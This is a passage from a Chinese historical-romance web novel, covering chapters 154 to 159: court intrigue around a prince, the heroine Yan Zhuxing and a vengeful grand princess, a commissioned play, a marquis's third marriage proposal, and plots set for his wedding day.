更有甚者,直接用双手紧紧捂住了嘴,连呼吸都不敢大口喘气,生怕惹怒了照夜被一刀砍了。 衙役们也赶紧把他们分开,生怕又发生昨夜的踩踏事件。 “此人乃是王府追查的嫌犯,他故意挑拨生事,想让你们踩踏引发混乱好逃走。你们都忘了昨夜临仙楼前的惨案吗?!” 照夜的质问掷地有声。 百姓们一阵后怕。 天啊,他们刚刚做了什么,差点为了一个鸡蛋丢了性命。 双鲤瞧见这一幕差点没哭出声。 她出的主意,差点害死了那么多人。 幸好有照夜出现。 她一把抓住了衔蝉的手:“衔蝉姐姐,照夜大哥真是个好人啊,有担当有魄力,你若喜欢可得抓紧时间拿下啊,省得被人抢走了!” 衔蝉听到她这忽然冒出来的话,脸瞬间涨得通红。 “你这小妮子,胡说什么呢。” 她捏了捏她的脸,恢复了镇定。 “快把先前摔碎的蛋捡起来,不能给裴大人添麻烦,然后把备用的蛋拿出来。” “嗯。”双鲤忙不迭应下,擦掉了眼尾因为焦急而不受控制涌出的眼泪。 双鲤他们有条不紊地重新发鸡蛋。 百姓们这一次不敢再置喙,老老实实排队领完鸡蛋走人。 裴明镜的下属也将先前那闹事之人的两个同伙给捉拿归案,裴明镜再一次忙碌了起来。 朝华大长公主得知事情失败,勃然大怒:“废物,这点小事都办不好!要你们有何用。” 她原想着利用那么多人,再闹出一起踩踏事件,到时候不仅晏逐星无法洗脱灾星邪祟的罪名,裴明镜也要丢掉官职。 谁曾想,半路竟然杀出了谢翊宁的侍卫。 他出手果断下手利落,这才震慑住了那些被煽动的百姓。 “殿下息怒啊。这事也不是全然没有好处的。至少我们知道了永安王与那晏家大小姐关系匪浅。”管事跪在地上赶忙分析了起来。 朝华大长公主点了点头,眼底的怀疑加重了。 先前她只是猜测谢翊宁为了晏逐星对福安痛下毒手,如今见他这般护晏逐星,就愈发肯定了这个念头。 “崔凝华生了个什么蠢货,怎么还没死。”朝华大长公主忍不住怒骂。 福安怎么说都是他表妹,他竟然为一个外人害了福安。 好在两年后他就要死了。 想到这,朝华大长公主心底的气顺了些。 谢翊宁目前动不得,那就把晏逐星先弄死。 第154章 讨好的手段 京兆府门口发生动乱时,谢翊宁和晏逐星还守着庭院里的荷叶鸡等它出炉。 “能吃了吗?”谢翊宁眼里闪烁着兴奋的光。 这还是他头一回自己动手做饭,因而格外期盼。 晏逐星见炭火将息,算算时辰泥球已被煨烤了近两个时辰。 她点点头:“应该可以了。” 有她这句话,一旁候着的九栀当即拿出火钳,小心地将那个外壳焦硬的泥球从灰烬中拨出,置于厚重的铁盘上。 一股混合着泥土焦香与荷叶清香还有鸡肉鲜香的味道霸道地弥漫开来。 正欲打开这个泥壳,就听到丫鬟的声音顺着晚风传了进来。 “小姐,衔蝉姐姐那边传了信回来,说京兆府出事了。” “出什么事了?”晏逐星猛地站了起来。 谢翊宁也跟着起身,见她着急赶忙开口:“别担心,本王嘱咐了照夜在附近照看,应该不会出事。” 那丫鬟没想到永安王也在,吓了一哆嗦。 “到底什么事,赶紧说。”晏逐星着急催促。 “是。”丫鬟收回目光,赶忙把京兆府发生的事情说了一遍。 “可有无辜百姓受伤?”晏逐星赶忙追问。 得知在场只有那个挑事的人掉了脑袋,她顿时松了一口气。 “定然是朝华姑母的人干的。”谢翊宁沉下了脸。 姑母就这么见不得晏逐星好么。 “不必生气,反正咱们不是已经有新的法子对付她了么。”晏逐星笑眯眯地弯腰拿起放在一旁的小锤,递给谢翊宁。 “如今最重要的事是赶紧吃荷叶鸡,冷了可就不好吃了。” “王爷亲手糊的泥,这开壳的彩头,自然要王爷来取。” 谢翊宁没想到她这个时候还想着荷叶鸡,怔神后便笑了起来。 “你说得对。” 他握紧锤子,一锤砸了下去。 “咔嚓!”一声脆响。 焦硬的外壳应声裂开一道缝隙,浓郁的荷叶香与滚烫肉汁气息喷薄而出。 “好香。”晏逐星忍不住咽了咽口水。 谢翊宁眼赞同地点点头,将手中的锤子换成了一把未开刃的匕首。 轻轻一挑,沿着裂缝撬开泥壳。 剥落焦土,露出里面被烤得深褐微焦、紧紧包裹的荷叶。 他用匕首尖小心挑开荷叶的接缝处,伴随着轻微的撕裂声,荷叶被掀开一角,金黄油光的汁水立刻从缝隙中涌出,流淌在铁盘上滋滋作响。 一只呈现出诱人琥珀色、皮酥肉烂、形态完整的荷叶鸡赫然呈现。 他用筷子撕下了鸡腿,递给了晏逐星。 晏逐星一愣,不应该是他先吃么,怎么还给她了。 谢翊宁挑眉一笑:“若不是你,本王可吃不到这么香的荷叶鸡。晏大小姐有功,该得头筹。这是奖励。” “多谢王爷。”晏逐星也不和他客气,直接用手接过。 尝了一口,眼睛“咻”一下就亮了。 “好吃!” 听到她这么说,谢翊宁心中生出了一种莫名的满足感。 他也尝了一口,发现味道竟然真的很不错。 尤其是这东西是他亲手做出来的,那就更不错了。 他看向晏逐星,指着剩下的荷叶鸡道:“还有三只,本王能否带走两只?” 先前怕失败,他们一共做了四只鸡。 如今正好有多余的。 “自然可以。”晏逐星毫不犹豫地点头,“若没有王爷提供的荷叶与黄泥,这荷叶鸡哪里做得成。您若想要,只管拿去。” “够了,用不着那么多。”谢翊宁摇摇头,让停云将剩下两只鸡带走。 “一只送去未央宫给母后父皇尝尝,一只送去东宫给太子哥哥他们尝尝。他们肯定没吃过。对了,记得告诉他们,这是本王亲手做的。” 谢翊宁唇角勾起一抹狡黠的笑。 他们吃了他做的荷叶鸡,哪日他做的事情被朝华大长公主上告,他们也不好意思严重罚他了。 嘿嘿,毕竟拿人手短吃人嘴软。 晏逐星听完他的话,垂眸掩饰自己眼底的失落。 怪不得帝后和太子殿下都这么宠着永安王,遇上好吃的没吃过的东西,他都第一时间想着家里人。 真好啊。 若是日后她找到了她的家人,她又该如何与他们相处呢。 是像谢翊宁这般,还是与他们保持距离,当做普通亲戚来相处就好。 已经淡忘了亲人记忆的晏逐星,此刻陷入了惆怅。 * 未央宫里。 帝后正在闲谈,掌事小太监就跑来通传。 “启禀皇上,皇后娘娘,永安王命人送了吃食入宫,说是他亲手做的,让您二位务必尝尝。” “哦?”文昭帝和崔皇后听到这话都稀奇地瞪大了眼睛。 “他还会做吃的呢?” 两人俱是不信。 等到停云将荷叶鸡送上来后,两人看着那黑不溜秋的泥团都沉默了。 “这就是你家王爷让你送来的吃食?还说朕和皇后从没吃过?”文昭帝眼里隐隐带着些嫌弃。 这孩子做的啥啊,怎么都黑成炭了还让他这个父皇吃。 这孝顺得有点过头了吧。 “启禀皇上,此物名为荷叶鸡。”停云迅速回话,将吃法说了一遍。 帝后对视一眼,决定待会不管东西好不好吃,都不能打击孩子,都得吃! “那你来拆吧。”文昭帝下了命令。 停云应下,当即按照先前看过的做法,敲碎了外边的泥巴壳,露出了荷叶。 传出来的香味让文昭帝和崔皇后来了兴趣。 待到太监验过毒后,两人都尝了一口,都看出了彼此眼中的满意。 本来这荷叶鸡味道就不错,一想到这是儿子亲手做的,他们就吃得更开心了。 吃完之后,两人方才有空评价。 崔皇后笑意盈盈道:“臣妾觉得这荷叶鸡倒是有几分野趣,胜过宫中无数珍馐。皇上以为如何?” “朕觉得皇后说得很对。小石头孝心可嘉,赏!”文昭帝大手一挥,流水似的赏赐又送去了永安王府。 宫中那些后妃们得知这个消息,牙齿都要咬碎了,这个永安王讨好人的手段怎么一套又一套! * 翌日清晨,尚未想好怎么对付晏逐星的大长公主刚睡醒没多久,就瞧见王府管事匆匆忙忙地跑了进来,一脸惊慌: “不好了,殿下,出事了。” 第155章 是一出好戏 “慌慌张张,成何体统。”朝华大长公主冷呵一声。 王府管事咽了口口水,不敢耽误,赶忙道:“如今外边已经传遍了,说郡主之死乃是报应。” “什么?”朝华大长公主猛地一拍桌子,厉声质问,“谁造的谣,本宫一定要拔了他的舌头。” 王府管事满面愁容:“是玉宵楼。昨夜他们排了一出戏,免费宴请百姓观赏,今日还有说书先生在说这个故事……” “讲的什么?”朝华大长公主声色俱厉。 管事结结巴巴地开口:“说有一个民女燕儿入京,因生得貌美被一千金小姐贾柔妒忌,贾柔命人往她身上撒了夜飞砂,想要烧死其毁其容貌,结果把自己给活活烧死了。” “贾柔之母怒极,便命人传扬燕儿命中带煞乃是邪祟化身,最终燕儿不堪受辱投河自尽。结果被一富家公子遇上,救了她。” “两人一见倾心,公子得知她的冤屈,替她申冤,贾柔之母终落狱,二人也喜结连理。” 说到这,管事顿了顿,最终还是豁出去把剩下的话说完。 “如今百姓们在传燕儿就是晏家大小姐,贾柔就是福安郡主……” 管事的话音刚落,整个花厅的空气仿佛瞬间凝固,沉甸甸地压得人喘不过气。 朝华大长公主愤怒的眼眸死死钉在管事身上,脸色一片铁青。 贾柔,柔嘉。 被活活烧死…… 这个节骨眼上编排这么一出戏,很难让人不联想到她的女儿。 还有戏文里的造谣的“贾母”,不正是在映射她么。 “放肆!”一声尖锐的怒吼声猛地炸开。 朝华大长公主豁然起身,宽大的锦袖带倒了旁边的茶盏,“哐当”一声脆响,名贵的瓷器瞬间四分五裂,滚烫的茶水泼溅一地。 王府管事赶忙跪下磕头,颤声道:“殿下息怒。” “好一个玉宵楼!真是一出‘好戏’!”朝华大长公主那张保养得宜的脸此刻因极度愤怒而扭曲,眼中的怒火被杀意所取代。 “竟敢编排到本宫头上来了!来人,将玉宵楼给本宫砸了。” 得知此事,驸马匆匆赶来。 他极力劝阻:“朝华,万不可砸了玉宵楼。” “他们敢编排本宫,自然就该付出代价!”盛怒之下,朝华大长公主只恨不得亲自拔剑去砍了玉宵楼那群人的脑袋。 驸马忍着悲痛按住了她的双肩,沉声道:“朝华,你冷静些,你这么做不是让人觉得咱们心虚了所以才恼羞成怒么。你若今日派人打砸了玉宵楼,明日这幕后之人就会状告到皇上面前。” “那就让他去,本宫倒是要看看谁胆子这般大!他敢告,本宫就敢杀了他。”朝华大长公主死死咬着唇,恨不得现在就见到那幕后之人。 “朝华,莫要说这些气话。”驸马一把将她拥在怀中。 “你若因此出了事,福安九泉之下也不会安心的。” 听到女儿的名字,朝华大长公主眼泪滚滚落下,她哑着嗓子道:“难道就这样放过他们吗?” 驸马摇头:“他们敢欺辱你和福安,自然要付出代价。只是教训玉宵楼之事,不能摆到明面上来。咱们从长计议。” 在他的劝解下,朝华大长公主只得暂时咽下了这口气。 * 玉宵楼编排的这一出戏,在有心人的推动下传得是沸沸扬扬。 裴明镜自然也知晓了此事。 他脑海里一瞬间就闪过了谢翊宁的脸。 此事,定然是谢翊宁所为。 他这么做的目的显而易见,就是为了洗清晏逐星身上的污名。 他一瞬间沉默了。 永安王竟然能为她做到这个地步么。 “大人,还查么?”郑晗拿着采买夜飞砂的名册一个一个核对,还是毫无头绪。 里边采买的人和公主府半点都扯不上关系。 福安郡主身边的丫鬟又死了。 他们现在像是走进了一条死胡同。 “当然要继续查。”裴明镜回答得斩钉截铁。 夜飞砂查不到,那就查那两人的身份背景亲朋好友,他们嘴硬,他不信他们的家人也嘴硬。 此事不光涉及晏逐星,还涉及了京中许多无辜丧命的百姓。 绝对不可半途而废。 听到他这么说,郑晗认命点头继续调查。 郑晗走后,裴明镜的心腹下属子平来了。 子平带来的消息像颗石子投入平静的水面。 “世子,如今外面有些闲言碎语,说您便是那玉宵楼戏文《千金孽》里替燕儿申冤的富家公子。昨日您在府衙前为晏大小姐正名,恰好印证了戏文里那一节。此事,可要咱们的人去压一压?” 裴明镜指尖在卷宗上顿了一瞬,淡淡道:“无稽之谈,不必理会。” 这谣言自然也传进了谢翊宁的耳朵里。 他听完,心头的火气“噌”地就窜了起来。 简直岂有此理! 他绞尽脑汁编排出来戏文是替他的小恩人出口恶气的。 怎么到头来,这戏文里英雄救美、仗义执言的光彩,全落到了裴明镜头上? 他裴明镜算什么东西。 一个刚与福安郡主相看过、不清不楚的男人,也配和他的小恩人扯上这等暧昧不清的关系? 再想到卫国公府那位出了名的心胸狭隘、睚眦必报的当家主母窦淑容。 谢翊宁只觉得一股郁气堵在胸口。 他的小恩人若真与裴明镜有了牵扯,将来岂不是要受那恶婆婆的磋磨? 不行,不行。 若让晏逐星嫁给了裴明镜,那就不是报恩,而是恩将仇报了。 他得想个法子,将此事掐死在摇篮里。 还没等谢翊宁出手,窦淑容就坐不住了。 “天杀的狐狸精,没嫁过来就让明镜替她办了那么多事,甚至连福安郡主都被弄死了。” “完了完了,若是她真嫁进来,这府里岂不是成了她的一言堂?” 窦淑容急得嘴角都起了燎泡,恨不得现在就找一个人来跟儿子成亲。 可偏偏福安郡主刚死,太后和朝华大长公主还很悲愤,若她现在就张罗着给儿子娶妻,势必会惹得他们不悦。 但拖久了,她又怕晏逐星嫁进来。 窦淑容只觉得一个头两个大。 一旁的心腹嬷嬷容氏见主母这般焦虑,赶忙出言安慰:“夫人何必这般担心,晏家大小姐未必会嫁到咱们国公府来,永安王不是对她也很好么?” “绝无可能!”窦淑容脱口而出。 她都看不上晏逐星,难不成帝后能看得上? 一个小小的商贾之女,哪里配得上王妃的位置。 “若只当一个侍妾呢……”容氏提醒。 窦淑容听到这话,瞬间像是打通了任督二脉。 是啊。 永安王向来受宠,他若真喜欢晏逐星,帝后拗不过他,保不准就让他纳了晏逐星。 窦淑容果断道:“咱们得想办法促成此事,让永安王纳了她当妾,彻底断了明镜的念想!” 第156章 第三次求娶 京城近来出了好几件大事。 先是上元节踩踏,后是福安郡主连同护卫一块被烧死。 如今又闹出了一桩新鲜事—— 定远侯再次求娶烈国公表妹骆姑娘。 忠毅伯那日从定远侯府回家后,恳求着老母亲帮着走了一趟。 不出所料,烈国公夫人婉拒了。 忠毅伯带回烈国公府婉拒的消息,原以为他会放弃,不曾想定远侯却道:“无妨,本侯亲自去求。” 翌日。 定远侯骑着骏马,带着声势浩大的聘礼队伍,直抵烈国公府正门。 他请来的媒人高声道:“定远侯亲临,再求娶骆氏淑媛!” 片刻后,仆妇们簇拥着烈国公夫人出现。 她站在台阶之上微微颔首,语气温和却带着疏离:“侯爷亲至,有失远迎。前日已托冰人婉言回话,这桩婚事怕是不合适,还请侯爷回吧。” 定远侯利落下马,目光灼灼地仰视着阶上的烈国公夫人,为确保四下围观之人能听清,他刻意提高了声音。 “且慢。晏某今日亲来,只为剖白心迹:若蒙不弃,骆姑娘入我侯府,必为当家主母正妻!晏某此生,绝不相负!” 烈国公夫人轻轻一叹:“侯爷如此厚爱,愧不敢当。然婚姻乃结两姓之好,我还需与国公爷及骆氏族老细细商议,不敢即刻定夺……” 定远侯深深一揖,并未因被拒而失态,反而朗声道:“晏某诚意在此,聘礼暂留府上。三日后,晏某当再来聆听府上决断!” 说罢,转身上马,干脆利落地离开。 他这番被国公府连拒两次却执着求娶的举动,瞬间传遍京城。 众人都在赌三日后,烈国公府会不会将骆文缨嫁给定远侯。 这个热闹瞬间盖过了福安郡主被烧死的事情。 温家人自然也收到了消息。 温如珲气得狠狠踹了桌子一下:“如霜才走了多久,晏鸿升这个老匹夫竟然就要娶新妇了!” “老三,怎的这般沉不住气!”温如璋面色阴沉地看着弟弟。 “大哥,不是我沉不住气,是晏鸿升他欺人太甚。他这样声势浩大地去求娶,不就是打咱们温家人的脸么。”温如珲恨不得现在就带人去将定远侯府给砸了。 “拜晏鸿升所赐,如今如霜声名狼藉,连累着咱们温家的女儿都不好谈婚论嫁了。此人不除,我心头之气难消啊。” 他越说越生气,竟是直接将椅子给踹散架了。 “他想娶,也得有命娶才行。”温如璋冷笑。 他看向管家:“联系上柳姨娘和林姨娘了么?” 管家赶忙点头:“联系上了。她二人皆是温家的家生子,爹娘都在府里。只是大小姐已去,她们恐怕……” 温如璋冷声打断:“她们是温家的人,骨子里流着温家的血。霜儿虽去了,但温家还在。” “告诉她们,事成之后,温家会送她们爹娘出府荣养,保她们后半生无忧;若敢有二心,温家能让她们生,也能让她们死无葬身之地。” “是。”管家一凛,急忙应下。 温如珲听到这话,方才意识到兄长早已留了后手。 “大哥打算何时动手?”他的语气里是压抑不住的兴奋。 “若定远侯娶妻,大婚那日就是动手的好时机。”温如璋看向弟弟,眼里满是笃定与自信。 温如珲恍然大悟。 人生三大喜事:金榜题名时,洞房花烛夜,他乡遇故知。 大婚当日,定远侯定然会放松警惕,那日下手最为合适。 先前他对定远侯娶妻有多生气,现在就有多期待。 恨不得明日就送定远侯入洞房。 * 定远侯的三日之期未到,裴明镜承诺的三日之期却到了。 他有些失落地来到了晏宅给晏逐星道歉。 “晏大小姐,抱歉,线索查到福安郡主的丫鬟就断了。目前还无法将幕后之人捉拿归案。” 他抽丝剥茧,一路调查,查到了福安郡主的丫鬟汀兰的兄长身上。 但汀兰已死,福安郡主也死了。 这事到此就无法继续再查了。 “无妨,大人已经尽力了。”晏逐星对此并不意外。 福安郡主就算漏了什么线索,朝华大长公主也会在事后替她抹平。 况且,福安郡主已经死了,她的仇也报了,裴明镜能否查出真凶对她来说也不重要。 “可是……”裴明镜还要说什么,就被晏逐星打断了。 “如今真凶已经不重要,重要的是那些死伤的百姓是否得到了救治和补偿。” 裴明镜点头:“嗯,本官已经自掏腰包补偿了他们。” 晏逐星又道:“若那些伤残了的百姓需要找活计,大人可以让他们家里人来找我。过几个月,我要开一家铺子,若有合适的人,可以让他们来帮工。” 裴明镜一怔。 晏逐星这安排比他更好。 授人以鱼不如授人以渔。 他只给了他们医药费,而晏逐星却能给他们一条生路。 “受教了。”他冲晏逐星拱了拱手,决定回家看看让母亲瞧瞧家中哪个铺子或者庄子上缺人,这些百姓若愿意帮工,他也可以将他们收下。 “大小姐想开什么铺子?”裴明镜有些好奇。 晏逐星含笑摇头:“等开了,大人就知道了。” 见她不愿多说,裴明镜也不好继续追问,只留了一句若有事需要帮忙,到卫国公府找裴芜,让裴芜找他,随后就离开了。 他来晏宅的消息第一时间就被窦淑容知道了。 窦淑容越发急了。 她暗暗想到:不行,撮合晏逐星入永安王府一事得快些了。 窦淑容急得大把大把地掉头发,却死活想不出一个好法子。 毕竟永安王行踪不定,晏逐星又整日窝在宅子里不出门,她硬是找不到一个撮合的机会。 好在定远侯第三次登门求娶,烈国公府终于松口了,答应骆文缨嫁去定远侯府。 因为骆家老夫人命不久矣,两家决定抓紧时间成婚,婚礼就定在二月初。 窦淑容眼睛一亮。 定远侯成婚?! 这不就是一个现成的好机会么。 第157章 东窗事发了 定远侯人逢喜事精神爽,即将迎娶美娇娘,如今他瞧见谁都乐呵呵地给一个好脸色。 几个孩子去世的阴霾渐渐散去,侯府撤下白布,换上了满目红绸,静候新夫人入门。 侯府里,三位姨娘心思却大不相同。 阮寄薇已经收到了晏逐星的暗示,知道这位新来的当家主母和他们是一伙的,因此丝毫不慌。 每日该吃吃该喝喝该睡睡,尽职尽责地扮演一个怀孕的姨娘。 而林姨娘和柳姨娘却各有各的想法。 他们都收到了温家传来的密信,让他们择良机对定远侯下手,为夫人报仇。 林姨娘打算听命,但柳姨娘却不愿再为温家卖命。 “可若是咱们不听,爹娘还在温家呢,届时大老爷发怒可怎么办呀?”林姨娘满脸愁容地找柳姨娘商议此事。 “咱们如今的身契在侯爷手里,不在温家,有什么好怕的。”柳姨娘不以为意。 “我跟了侯爷多年,爹娘享了不少荣华富贵,如今若是因为我,他们被温家发落,那也只能说是福祸相依了。” 柳姨娘不愿再替温家办事。 当年她被温如霜抬为姨娘,结果跟了侯爷第二日就被迫服下了绝子药,至今无所出。 她恨透了温如霜,又怎么愿意替她报仇。 “柳姐姐,你怎么能这么想呢。”林姨娘一脸骇然。 “咱们都是无后的人,若是不对娘家人好一些,日后怕是死了都没人上香。” “你都死了,有没有人给你上香你也不知道啊。”柳姨娘一脸无所谓。 “他们现在答应你,说什么让侄儿给你养老送终,等你真没了,他们就算反悔了不管你,你又能如何?难不成还从地底下爬出来吓死他们啊?” 林姨娘:“……” 感觉柳姐姐说得好有道理,她要被说动了怎么办。 “那咱们就不管了?可我爹娘要是出了什么事,我大哥二哥怕是要恨死我。”林姨娘还是拿不定主意,左右摇摆。 “恨吧。你恨了夫人那么多年,她不也好好地活了那么多年。”柳姨娘一句话就堵住了她的嘴。 林姨娘:“……” “反正你要是犯傻,别拉我一块,我如今是侯府的姨娘,侯爷不会不管我的死活。”柳姨娘提醒。 “但若是事情败露,留给你的可就只有死路一条了。” 林姨娘被她说得背脊发凉,片刻后,方才小心翼翼道:“那咱们要把这事告诉侯爷么?毕竟传话人可说了,他能让我们生也能让我们死。” “告诉侯爷有什么用,他能奖励你什么,把阮姨娘肚子里的孩子给你养么?”柳姨娘横了她一眼。 当丫鬟的时候,林杏儿就是个光有美貌没有脑子的。 怎么当了那么多年姨娘,半点长进也没有。 定远侯是那样有良心的男人吗? 他若有良心,就不会这样对夫人了。 柳姨娘警告道:“你呀,就别想那么多了,就当没发生过这事,老老实实地当你的姨娘。别以为告诉侯爷,侯爷就会对你另眼相待。” “你若说了,保不准侯爷觉得咱们是温家留下的眼线,把咱们都赶出去。” “这些时日你警醒着点,吃食上注意些就差不多了。放宽心,温家老爷还能到侯府后宅杀咱们两个小小姨娘不成。” 林姨娘吓坏了。 那样的话岂不是两头不讨好,到时候被赶出去,温家定然也容不下她们。 “我不说了,柳姐姐,我都听你的!”林姨娘赶忙表态。 她本就没什么主见。 家里人让她当夫人的陪嫁丫鬟,她就当了。 夫人让她当姨娘,她也当了。 如今温家人拿家里人威胁她,让她替温如霜报仇,她下意识地就想听话。 若不是柳姨娘劝她,她真的就要这么干了。 “那咱们要去和阮姨娘联络一下感情么,新主母入门,恐怕不会放过她吧?她肚子里可是侯府唯一的指望了。”林姨娘转移了话题。 “去什么去,她大着肚子,去了万一有个什么差池,全赖咱们头上。”柳姨娘将手里的瓜子全扔到了盘中,起身戳了一下林姨娘的脑门。 “关上门老老实实地过你的小日子就是了,别操心太多。” “阮姨娘若是和新主母对上,不管谁赢谁输,都与咱们无关。” 林姨娘这下是彻底老实了,不敢再提此事,老老实实地回自己院子里呆着了。 她俩的对话全被晏逐星留下的眼线记下了,当天夜里就传到了晏宅。 晏逐星没想到这位柳姨娘倒是个拎得清的。 “温家要对付定远侯?啧。这可真是个好机会啊。” 晏逐星勾唇一笑。 借刀杀人的好机会,这不就来了。 * 朝华大长公主听了驸马的劝,没有马上动手,而是进宫求文昭帝彻查此事,究竟是什么人在散播这个谣言。 “福安死得惨,死后还被人戳脊梁骨,呜呜呜,皇上,您要替她讨回公道啊。”她在皇上面前哭得不顾形象,看起来可怜极了。 朝华大长公主泪眼婆娑道:“今日他们能编排福安,来日就能编排皇室其他人,皇上,您一定要对他们严惩不贷啊。” 文昭帝听完此事,也觉得编排谣言的人太不厚道了。 福安都死了,死得还那么凄惨。 这些人为了博人眼球,连一个死人都不放过。 实在过分。 他当即答应了下来,命人前去彻查。 没想到查来查去,最后竟查到了小儿子头上。 文昭帝:“……” 他有些恼火,当即宣谢翊宁入宫。 “玉宵楼那出戏,是你让人唱的吧?”他板着脸,严肃地看着谢翊宁。 一旁的小太监和小宫女们大气都不敢喘,生怕皇上发怒。 “是儿臣做的。”谢翊宁大大方方地承认了。 父皇肯定什么都查到了才会那么生气地把他叫到宫里来。 他现在继续否认,只会让父皇更生气。 还不如承认了呢。 文昭帝见他承认得那么快,更恼火了:“你说说你,朕和你母后是这么教导你的么。逝者为大,福安都死了,你还这般中伤她,岂是君子所为?” “儿臣可从来没说过自己是君子。咱们老谢家有您和太子哥哥当君子就够了吧,少我一个也没什么。”谢翊宁小声反驳。 文昭帝:“……” 他气不打一处来,骂都不知道该怎么骂了,直接将手边的砚台砸了过去。 “父皇,上回的荷叶鸡好吃么?”谢翊宁闪身躲过,转移话题。 文昭帝:“……” 合着那天送荷叶鸡,就等着今天东窗事发挨骂时搬出来呢? “父皇不说话,儿臣也知道,肯定很好吃,不然您那日就不会赏我那么多东西了。”谢翊宁自顾自地接话。 “好吃下回儿臣还给您做。您都不知道,那日和黄泥我手都和破皮了。但我想着父皇和母后能吃上,我就不觉得破皮有多疼了。” 文昭帝听到这话,心瞬间就软了。 谢翊宁察觉到他脸色变化,再接再厉,继续道: “父皇,我知道错了,您吃了我做的荷叶鸡,能不能先别骂我,给我一个解释的机会。” “我那么做是事出有因!” 文昭帝一肚子气被他这软话弄得不上不下的,有些无奈地看着他。 “那你说说,怎么个事出有因了。福安虽然伤了你的猫,但你也捅了她一刀,此事已经两清。你如今毁她名声,实在过分。今日你若说不出个所以然来,朕一定要重重罚你!” 怕他不以为意,还板着脸补充:“可不是扣点俸禄那么简单了。” 第158章 本宫要她死 “我这么做,都是跟朝华姑母学的!”谢翊宁振振有词。 “哦?”文昭帝有些疑惑。 谢翊宁当场就把朝华大长公主命人污蔑晏逐星是邪祟一事说了。 文昭帝听完皱起了眉头。 这么说来,倒也是一报还一报了。 “不对,那这也该是晏家大姑娘和你朝华姑母的恩怨,与你何干。”文昭帝猛地反应过来,差点就被儿子带沟里去了。 “晏大小姐是我的恩人。国师大人都说了,没有她,儿臣的死劫可过不了。”谢翊宁理直气壮。 文昭帝:? 他记得国师当时没说是谁吧。 只说了远在天边,近在眼前。 谢翊宁又道:“总而言之,朝华姑母告状完全是倒打一耙。总不能因为小恩人没有背景,就让她任意被朝华姑母污蔑吧。” “再说了,话本子里哪个字提到了福安,哪个字提到了公主,只字未提呀。这世上那么多人被烧死。凭什么认定写的就是福安?” “还是说,朝华姑母认为福安就是那种会因为别人貌美产生妒忌心,杀了别人的人?” “最重要的是,儿臣只是让人写了个话本子,又没做什么。百姓们要自己代入自己猜测,儿臣也不好干预吧。这些流言蜚语就像一阵风,过一阵子就没了,若是一直盯着不放,反倒容易让人记挂。父皇您说对吧?” 谢翊宁的三连问直接把文昭帝给问沉默了。 他不得不承认儿子说得对。 如今京城里讨论得最多的是定远侯三次求娶骆家姑娘的事情,福安的事早已没多少人提起。 “你一天不给朕惹事就不痛快是吧。扣你半年俸禄,然后禁足半个月。行了,赶紧走吧,朕瞧着你就头疼。”文昭帝嫌弃地冲他挥了挥手。 “是!儿臣遵旨!”谢翊宁痛快地答应了下来。 反正他也不靠俸禄过活,罚就罚呗。 至于禁足,永安王府好玩的地方多了去了,他何必出府去玩。 区区半个月,不在话下。 临走前,他快步走到了文昭帝身边,替他揉起了脑袋。 “父皇别头疼,儿臣待会就让人给您送膏药来,是昨个才从南穹得来的好东西,听说对头疼特别管用。您让太医验一验,若安全您就试试呗。” 文昭帝就吃他这一套,可嘴上却是冷冰冰的五个字:“知道了,聒噪。” “再聒噪您也就只能听这一会儿了,儿臣得禁足半个月呢,您半个月都见不着我了。”谢翊宁嘀咕完就不再说话,专心给文昭帝按了两刻钟。 一旁的严公公瞧着暗暗在心底感慨: 怪不得帝后这般偏宠永安王呢,人家值得。 看看,这小嘴甜的,这察言观色卖乖讨好的本事真是一等一的厉害。 据说当初皇后娘娘生下永安王后,得了一个见风就头疼的毛病,年仅五岁的永安王无意知晓此事后,就跑去找季太医学了缓解头疼的按摩手法。 每次皇后娘娘说头疼,永安王就会马上去给她按摩。 如今这手法也是越来越娴熟了。 瞧瞧皇上享受的模样。 啧,他也该去找季太医好好学学了。 * 得知谢翊宁被禁足,朝华大长公主便明白玉宵楼一事定然是他干的了。 她激动地入宫找文昭帝要说法。 “皇上,福安被造谣之事可是有眉目了?”她故意装作不知事情与谢翊宁有关。 文昭帝不紧不慢地开口:“话本子里只字未提福安。这世上那么多人被烧死。你让朕如何去惩戒写这话本子的人?” “还是说,你认为福安就是那种会因为别人貌美产生妒忌心,杀了别人的人?” “最重要的是,百姓们要自己代入自己猜测,朕也不好干预吧。这些流言蜚语就像一阵风,过一阵子就没了,若是一直盯着不放,反倒容易让人记挂。皇姐,你说对吧?” 朝华大长公主:“……” 她没想到她高高兴兴入宫听到的就是这样一番话。 一旁的严公公低头不敢吭声。 他总觉得皇上这话,有点耳熟。 “皇姐,此事就此作罢,莫要再生波澜。好好安葬福安才是。”文昭帝给出了最终的决断。 朝华大长公主咬牙切齿。 她就知道,事情若是涉及了谢翊宁,皇上肯定就会轻拿轻放。 她深呼吸不断告诫自己,不要和一个将死之人计较,再忍两年,谢翊宁就死了。 最终理智战胜了愤怒。 她挤出一抹假笑:“皇上言之有理,是本宫着相了。此事与福安有什么关系。福安那样善良乖巧的孩子,怎么会做出那些伤人的事情。” “正是如此。”文昭帝点了点头。 朝华大长公主带着一肚子的怨气回了公主府。 驸马瞧见她脸色不好,便知道她这次入宫没能讨得了什么好。 他叹了一口气,握住了她的手:“无妨,这样的结果咱们不是早就猜到了吗。” 猜到是一回事,但真的发生了又是另一回事。 朝华大长公主只觉得心里有一团火在烧。 谢翊宁她动不得,难道晏逐星她还动不得么。 她盯着驸马的眼睛,一字一句道:“本宫要她死。” 虽然她没有明说是谁,但驸马还是听懂了。 他叹了一口气:“那便选在定远侯成婚那日吧。” “嗯。”朝华大长公主点了点头。 定远侯成婚,晏逐星是他养女,她一定会出席。 那一日,就是她的死期。 第159章 是一个圈套 转眼就到了二月初,定远侯大婚当日。 骆文缨的母亲尉迟兰心已经被接到京城,住在国公府送她出嫁。 窗外的喧天锣鼓、唢呐声声,此刻骆文缨出嫁的屋内却寂静得可怕,只听得到尉迟兰心粗重而艰难的喘息声。 尉迟兰心看着女儿身上的大红嫁衣,浑浊的眼中不受控制地滚下大颗大颗的泪珠。 这件嫁衣,本该在十几年前就穿在了女儿身上。 如今她终于亲眼看见她穿上了。 尉迟兰心强撑着病体,轻声唤道:“文缨……” 骆文缨强忍着眼泪,走过来紧紧握住了母亲的手。 “娘,我在呢。” 尉迟兰心费力地扯出一个笑容:“娘……终于……等到这一天了……” 她艰难地吐出了这句话。 每一个字都耗尽了她残存的气力,却带着一种近乎执拗的欣慰和释然。 女儿的亲事,是她缠绵病榻时最大的心病。 如今女儿凤冠霞帔即将出嫁,后半生也算有了依靠,她终于可以放心了。 骆文缨俯下身,额头轻轻抵着母亲的手背,眼泪无声地落下。 